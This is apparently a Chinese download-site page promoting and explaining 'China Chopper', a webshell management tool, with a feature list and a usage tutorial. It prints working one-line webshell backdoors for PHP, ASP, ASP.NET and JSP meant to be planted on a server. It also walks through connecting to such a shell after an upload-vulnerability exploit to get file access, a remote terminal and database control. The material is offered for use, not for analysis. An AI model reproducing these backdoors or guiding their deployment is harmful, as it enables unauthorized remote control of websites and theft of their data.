中国菜刀，不是原来切菜做饭的道具，而是一款专业的webshell管理工具，用途广泛，使用方便，小巧实用。只要支持动态脚本的网站，都可以用中国菜刀来进行管理！程序大小：214K，在非简体中文环境下使用时，自动切换到英文界面。

webshell管理工具好用吗

中国菜刀功能特色

在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，

保存后即可使用文件管理，虚拟终端，数据库管理，自写脚本几大块功能。

1.文件管理：缓存下载目录，并支持离线查看缓存目录，上传下载修改文件，比ftp要好吧！

2.虚拟终端：人性化的设计，操作方便;(输入HELP查看更多用法)

3.数据库管理：图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式连接的数据库。

4.网站蜘蛛功能：织出一张网站的目录结构。下载的列表文件存在桌面，右键菜单/载入URL列表即可以根据地址得到目录结构。

5.定时提醒：当闹钟来使吧, 周期：每月/每周/每日/只一次。

6.快速启动：一些常用的快捷方式放在这里，可以指定用户身份运行程序。这部分数据是以加密存储的。

7.浏览器：地址栏输入HELP

8.自定义服务端代码：通过简单编码后提交用户自己的脚本到服务端执行，实现丰富的功能，也可选择发送到浏览器执行。 如果要写自己的CCC脚本，可以参考一下CCC目录下的示例代码, 相信你也可以写出功能丰富的脚本可以在官网下载别人的CCC脚本，或分享你的得意之作。‍‍

注意：由于服务器的安全设置，某些功能可能不能正常使用。

webshell管理工具怎么用

中国菜刀详细使用教程

1、打开中国菜刀客户端

2、在服务端运行的代码如下：

PHP: <?php @eval($_POST['pass']);?>

ASP: <%eval request(“pass”)%>

ASP.NET: <%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>

JSP：<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>

(注意: ASP.NET要单独一个文件或此文件也是Jscript语言)

叉叉之前在上传漏洞演示，利用burpsuite抓包改包上传最后讲到用菜刀连接，看看是怎么实现的：

在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(这个必须要)，选择正确的脚本类型和语言编码，保存后即可使用文件管理，虚拟终端，数据库管理三大块功能。要是其它都没错误，那么可能就是你把语言编码选错了.

3、点击“添加”按钮，成功后就会产生一条新的记录，鼠标右键点击就可以进行操作了，如下图，可以进行文件管理，数据库管理，虚拟终端。哈哈...大功告成！

操作效果截图：

PC官方版

安卓官方手机版

IOS官方手机版